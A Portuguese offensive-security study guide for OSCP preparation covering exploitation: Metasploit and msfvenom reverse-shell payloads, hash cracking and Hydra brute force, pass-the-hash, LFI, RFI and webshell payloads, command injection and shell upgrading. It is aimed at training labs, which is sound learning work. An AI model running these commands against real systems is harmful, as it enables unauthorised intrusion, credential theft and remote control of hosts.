Com vulnerabilidades identificadas, é hora de explorá-las. Esta fase cobre frameworks de exploração, ataques a credenciais, exploits manuais e a arte de obter e manter um shell no sistema alvo.
O Metasploit é o framework de exploração mais usado no mundo. Centraliza exploits, payloads e módulos de pós-exploração em uma interface unificada. Para o OSCP, você precisa entender como funciona por baixo — mas no dia a dia é uma ferramenta indispensável.
Arquitetura — Entendendo os módulos
Exploit
Código que aproveita uma vulnerabilidade específica para executar um payload no sistema alvo. Cada exploit é para um CVE ou tipo de falha. Você seleciona o exploit, configura o target (RHOSTS) e executa.
Payload
O que é executado no alvo após o exploit ter êxito. Staged: entregue em duas partes (stager + stage) — menor, bypassa filtros. Stageless: tudo em um arquivo — mais robusto. Meterpreter é o payload mais poderoso.
Auxiliary
Módulos que não exploram — fazem scan, enumeração, brute force. Ex: auxiliary/scanner/smb/smb_ms17_010 verifica se o alvo é vulnerável ao EternalBlue antes de tentar explorar.
Fluxo de uso no msfconsole
msfconsole# Buscar exploit para um serviçosearcheternalbluesearchtype:exploit name:vsftpd# Selecionar e configuraruseexploit/windows/smb/ms17_010_eternalblueset RHOSTS192.168.1.10set LHOST192.168.1.5# seu IPset PAYLOADwindows/x64/meterpreter/reverse_tcp# Ver todas as opçõesshow options# Executarrun# ou: exploit# Verificar sessões abertassessions -lsessions -i 1# abrir sessão 1
Meterpreter — Pós-exploração integrada
O que é o Meterpreter
Meterpreter é um payload avançado que roda inteiramente na memória do alvo — não grava arquivos em disco, dificultando detecção. Oferece comandos de pós-exploração nativos: upload/download de arquivos, screenshot, keylogger, migração de processo, escalada de privilégios e pivot de rede.
Meterpreter
Comandos essenciais
# Informações do sistemasysinfogetuid# usuário atualgetpid# processo atual# Navegaçãopwd / ls / cddownloadarquivo.txtuploadexploit.exe# Shell interativoshell# abre cmd/bash no alvoCtrl+Z# volta ao meterpreter# Escalada e persistênciagetsystem# tenta elevar para SYSTEMhashdump# dump de hashes de senharun post/multi/recon/local_exploit_suggester
msfvenom
Gerando payloads customizados
msfvenom cria payloads standalone — executáveis, scripts, shellcode — para quando você não pode usar o Metasploit diretamente. O payload se conecta de volta ao seu listener (multi/handler).
# Payload Windows EXEmsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=10.0.0.1 LPORT=4444 -f exe -oshell.exe# Payload Linux ELFmsfvenom-plinux/x64/shell_reverse_tcpLHOST=10.0.0.1 LPORT=4444 -f elf -oshell.elf# PHP webshellmsfvenom-pphp/meterpreter_reverse_tcpLHOST=10.0.0.1 LPORT=4444 -f raw -oshell.php# Listener para receber a conexãouseexploit/multi/handlerset PAYLOADwindows/x64/meterpreter/reverse_tcpset LHOST10.0.0.1run
02
Credenciais
Password Attacks
Credenciais fracas ou reutilizadas são responsáveis por uma parcela enorme de comprometimentos reais. Ataques de senha se dividem em dois tipos: offline (contra hashes capturados) e online (contra serviços ativos). Os dois têm ferramentas e estratégias distintas.
Offline — Quebrando hashes
Hashes vs Senhas
Sistemas não armazenam senhas em texto claro — armazenam o hash. Quebrar um hash significa encontrar a senha original que gerou aquele hash. Hashcat testa bilhões de candidatos por segundo usando GPU. John the Ripper é alternativa via CPU.
Offline
Hashcat — Identificar e quebrar
Primeiro identifique o tipo do hash, depois escolha o modo de ataque. Os modos mais usados: dicionário (-a 0), combinação (-a 1), brute force (-a 3), e regras (-a 0 -r).
# Identificar tipo de hashhashid'$2y$10$abc...'bcrypt — modo hashcat: 3200# Ataque de dicionário (mais comum)hashcat-m 1000 -a 0hashes.txt rockyou.txt# Com regras (muda variações: senha→Senha1!)hashcat-m 1000 -a 0 -rrules/best64.rule hashes.txt rockyou.txt# Tipos de hash comuns# -m 0 = MD5# -m 100 = SHA1# -m 1000 = NTLM (Windows)# -m 1800 = sha512crypt (Linux /etc/shadow)# -m 3200 = bcrypt# -m 22000 = WPA2
Online
Hydra — Brute force em serviços
Ataque online testa credenciais diretamente no serviço. É ruidoso, lento comparado ao offline, e pode travar contas. Use com moderação e só em serviços sem rate limiting no escopo.
# SSH brute forcehydra-ladmin-Prockyou.txtssh://192.168.1.10# HTTP POST formhydra-ladmin-Ppasswords.txt192.168.1.10http-post-form"/login:user=^USER^&pass=^PASS^:Invalid"# Lista de usuários + lista de senhashydra-Lusers.txt-Ppasswords.txtftp://192.168.1.10
Técnica
Password Spraying
Ao contrário do brute force (muitas senhas em um usuário), spraying testa uma senha em muitos usuários. Evita lockout de conta. Muito eficaz em Active Directory com senhas de estação: Empresa2024!, Janeiro@2024.
Em AD: tente "NomeDaEmpresa + Ano + !" antes de qualquer wordlist. Funciona com frequência assustadora.
Windows
CrackMapExec — Validação em rede
Testa credenciais em múltiplos hosts simultaneamente. Identifica qual máquina aceita o usuário/senha, executa comandos remotos, e faz dump de informações via protocolo SMB/WinRM.
# Testar credencial em toda a subnetcme smb192.168.1.0/24-uadmin-pSenha123# Executar comando nos hosts que aceitaramcme smb192.168.1.10-uadmin-pSenha123-x"whoami"# Pass-the-Hash (sem precisar da senha em texto)cme smb192.168.1.10-uadmin-Haad3b435b51404eeaad3b435b51404ee:hash_ntlm
03
Sem framework
Exploits Manuais
Nem todo exploit tem módulo no Metasploit. Saber adaptar PoCs públicos e explorar vulnerabilidades manualmente é o que separa pentesters experientes dos iniciantes — e é exatamente o que o OSCP exige.
SearchSploit & Exploit-DB
Workflow com exploits públicos
Você identificou vsftpd 2.3.4 no recon. Agora: (1) searchsploit vsftpd 2.3.4, (2) copia o exploit para seu diretório, (3) lê o código completo, (4) ajusta IPs e portas, (5) executa. Nunca rode exploit de terceiro sem ler o código — pode ser malware.
searchsploit# Buscar exploits localmentesearchsploitvsftpd 2.3.4searchsploitapache 2.4.49# Copiar exploit para diretório atualsearchsploit-m17491# Atualizar banco de dadossearchsploit-u
Vulnerabilidades de Aplicação Web — Exploração Manual
Web
LFI — Local File Inclusion
Quando uma aplicação inclui arquivos baseada em input do usuário sem sanitização. Permite ler arquivos arbitrários do servidor — senhas, chaves SSH, configurações.
# Payload básico?page=../../../../etc/passwd# Bypass de extensão forçada (.php)?page=../../../../etc/passwd%00# null byte (PHP < 5.3)# Targets valiosos no Linux/etc/passwd# usuários do sistema/etc/shadow# hashes de senha/home/user/.ssh/id_rsa# chave SSH privada/var/log/auth.log# logs de autenticação/proc/self/environ# variáveis de ambiente
LFI + Log Poisoning = RCE. Injete PHP no log via User-Agent, depois inclua o log via LFI.
Web
RFI — Remote File Inclusion
Como LFI mas inclui arquivos de um servidor remoto. Se habilitado, você serve uma webshell PHP e faz o servidor alvo a incluir e executar.
# Servir webshell no seu servidorecho'<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8000# Incluir via RFI?page=http://10.0.0.1:8000/shell.php&cmd=iduid=33(www-data) gid=33(www-data)
Web
File Upload — Upload Malicioso
Funcionalidades de upload que não validam o tipo de arquivo permitem subir webshells. Técnicas de bypass: mudar extensão (.php5, .phtml, .php.jpg), modificar Content-Type, usar double extension.
# Webshell PHP mínima<?php system($_GET['cmd']); ?># Bypass de validação por extensãoshell.php → shell.php5shell.php → shell.phtmlshell.php → shell.php.jpg# Bypass de Content-Type (via Burp)# Mudar: application/x-php → image/jpeg# Usar a webshell após uploadhttps://alvo.com/uploads/shell.php?cmd=id
Após confirmar RCE via webshell, escale para reverse shell interativo imediatamente — webshells são frágeis.
Web
Command Injection
A aplicação passa input do usuário diretamente para um comando do sistema operacional. Caracteres especiais de shell (;, |, &&, backtick) podem injetar comandos adicionais.
# Input original: ip=8.8.8.8 → ping 8.8.8.8ip=8.8.8.8; id# executa id após pingip=8.8.8.8 | id# pipeip=8.8.8.8 && cat /etc/passwdip=`id`# command substitutionip=$(id)# alternativa moderna
04
Acesso ao sistema
Shells & Payloads
Obter um shell interativo no alvo é o objetivo central da exploração. Existem dois tipos: bind shell (alvo abre porta, você conecta) e reverse shell (alvo se conecta de volta a você). Reverse shell é o padrão — passa pela maioria dos firewalls.
Reverse Shells — Receitas prontas
Como funciona
Você abre um listener na sua máquina (nc -lvnp 4444). O alvo executa um comando que se conecta de volta a você abrindo um shell. Como é o alvo iniciando a conexão de saída, firewalls raramente bloqueiam.
Upgrading Shell — De dumb shell para TTY interativo
Por que fazer upgrade
Uma reverse shell via nc não tem TTY completo: Ctrl+C mata o processo (e sua sessão), não tem tab completion, sudo não funciona. O upgrade transforma esse shell limitado em um terminal interativo completo.
upgrade de shell# Método 1: Python pty (mais comum)python3 -c'import pty; pty.spawn("/bin/bash")'# Depois: Ctrl+Z → stty raw -echo → fg → Enter × 2stty raw -echo; fg# Método 2: script (sem Python)script /dev/null -c bash# Ajustar tamanho do terminal# Na sua máquina: stty size → ex: 50 220stty rows50columns220# Exportar variáveis para completar o ambienteexport TERM=xterm-256colorexport SHELL=bash
Referências — revshells.com
revshells.com
Site que gera reverse shells para todas as linguagens com seu IP e porta preenchidos automaticamente. Indispensável durante um pentest — copia e cola, sem ter que lembrar sintaxe.
GTFOBins
Referência para binários Unix que podem ser usados para escape de shells restritos, privilege escalation, e execução de payloads. Se sudo -l mostra um binário, consulte o GTFOBins imediatamente.
HackTricks
Wiki completa de pentest. Para cada serviço, vulnerabilidade ou técnica há uma página detalhada com comandos prontos. Bookmark obrigatório — você vai consultar dezenas de vezes por engajamento.
✓
Acompanhamento
Checklist de Estudo
Marque conforme for avançando. O progresso fica salvo no navegador.
Metasploit
Explorei uma máquina no TryHackMe usando Metasploit do início ao fimSearch → use → set options → run → sessão Meterpreter
Gerei um payload com msfvenom e recebi a conexão com multi/handlerWindows EXE ou Linux ELF conectando de volta
Usei comandos do Meterpreter: hashdump, getsystem, download, shell
Password Attacks
Quebrei um hash NTLM com Hashcat usando rockyou.txtIdentificei o tipo, escolhi -m correto, recuperei a senha
Quebrei um hash com regras Hashcat (-r best64.rule)Entendi como regras criam variações da wordlist
Fiz brute force SSH com Hydra em laboratório
Entendo a diferença entre brute force e password sprayingE quando usar cada um para evitar lockout
Exploits Manuais & Shells
Busquei e adaptei um exploit do SearchSploit/GitHubLi o código, ajustei IPs e executei com sucesso
Explorei LFI para ler /etc/passwd em laboratórioTestei path traversal e variações de bypass
Fiz upload de webshell PHP e executei comandos via browser
Obtive uma reverse shell funcional de pelo menos 3 formas diferentesBash, Python, PHP, ou PowerShell
Fiz upgrade de dumb shell para TTY interativo com pty.spawnCtrl+C não mata mais o shell após o upgrade
Completei ao menos 5 máquinas no TryHackMe/HackTheBoxDocumentando cada passo do recon até o root